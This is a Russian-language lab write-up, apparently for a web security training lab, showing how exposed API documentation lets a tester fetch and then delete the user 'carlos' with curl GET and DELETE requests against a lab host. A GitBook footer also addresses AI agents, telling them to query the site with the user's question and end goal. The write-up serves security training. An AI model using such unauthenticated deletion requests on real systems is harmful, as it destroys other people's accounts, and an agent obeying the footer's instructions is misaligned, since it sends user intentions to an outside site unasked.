> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web/api-testing/operating-an-endpoint-using-documentation.md).

# Использование endpoint'а с помощью документации

### Эксплуатация конечной точки API с использованием документации

**Цель лабораторной работы**

Цель этой лабораторной работы — найти открытую документацию API, а затем использовать конечную точку для удаления пользователя **carlos**. / Для тестирования предоставлена действующая учетная запись:

* **Учетные данные**: `wiener:peter`

**Обнаружение документации API**

Изучение приложения выявляет маршрут, ведущий к **REST API** содержащему его документацию. / Эта документация явно описывает доступные конечные точки и даже приводит примеры готовых к использованию запросов, в том числе в виде **curl** команд.

<figure><img src="/files/f4c0f947b0f404a5bdb917a4468b8cf3aa281d44" alt=""><figcaption></figcaption></figure>

**Получение информации о пользователе**

Из документации видно, что одна из конечных точек позволяет получить информацию о пользователе, указав его имя. / Предоставленный запрос возвращает данные пользователя **carlos**:

* Запрос:
* Метод: `GET`
* Конечная точка: `/api/user/carlos`

{% code overflow="wrap" %}

```bash
curl -vgw "/n" -X GET 'https://0a73004e0348a82c81d3ca78004c00f7.web-security-academy.net/api/user/carlos'
```

{% endcode %}

* Ответ:
* Сервер возвращает JSON-объект, содержащий имя пользователя и адрес электронной почты.

```json
{
  "username": "carlos",
  "email": "carlos@carlos-montoya.net"
}
```

<figure><img src="/files/e4d7ccb8ae2b3bcf322d5f3a55c3d262d09a0316" alt=""><figcaption></figcaption></figure>

**Удаление пользователя carlos**

Документация также указывает, что пользователя можно удалить с помощью отдельного запроса. / Используя соответствующую конечную точку с подходящим методом:

* Запрос:
* Метод: `DELETE`
* Конечная точка: `/api/user/carlos`

{% code overflow="wrap" %}

```bash
curl -vgw "/n" -X DELETE 'https://0a73004e0348a82c81d3ca78004c00f7.web-security-academy.net/api/user/carlos' -d '{}'
```

{% endcode %}

* Результат:
* Сервер принимает запрос и возвращает сообщение, подтверждающее удаление пользователя.

```json
{
  "status": "Пользователь удален"
}
```

<figure><img src="/files/4d8e512715f86e3597b8b0571c92b838308fc504" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/web/api-testing/operating-an-endpoint-using-documentation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
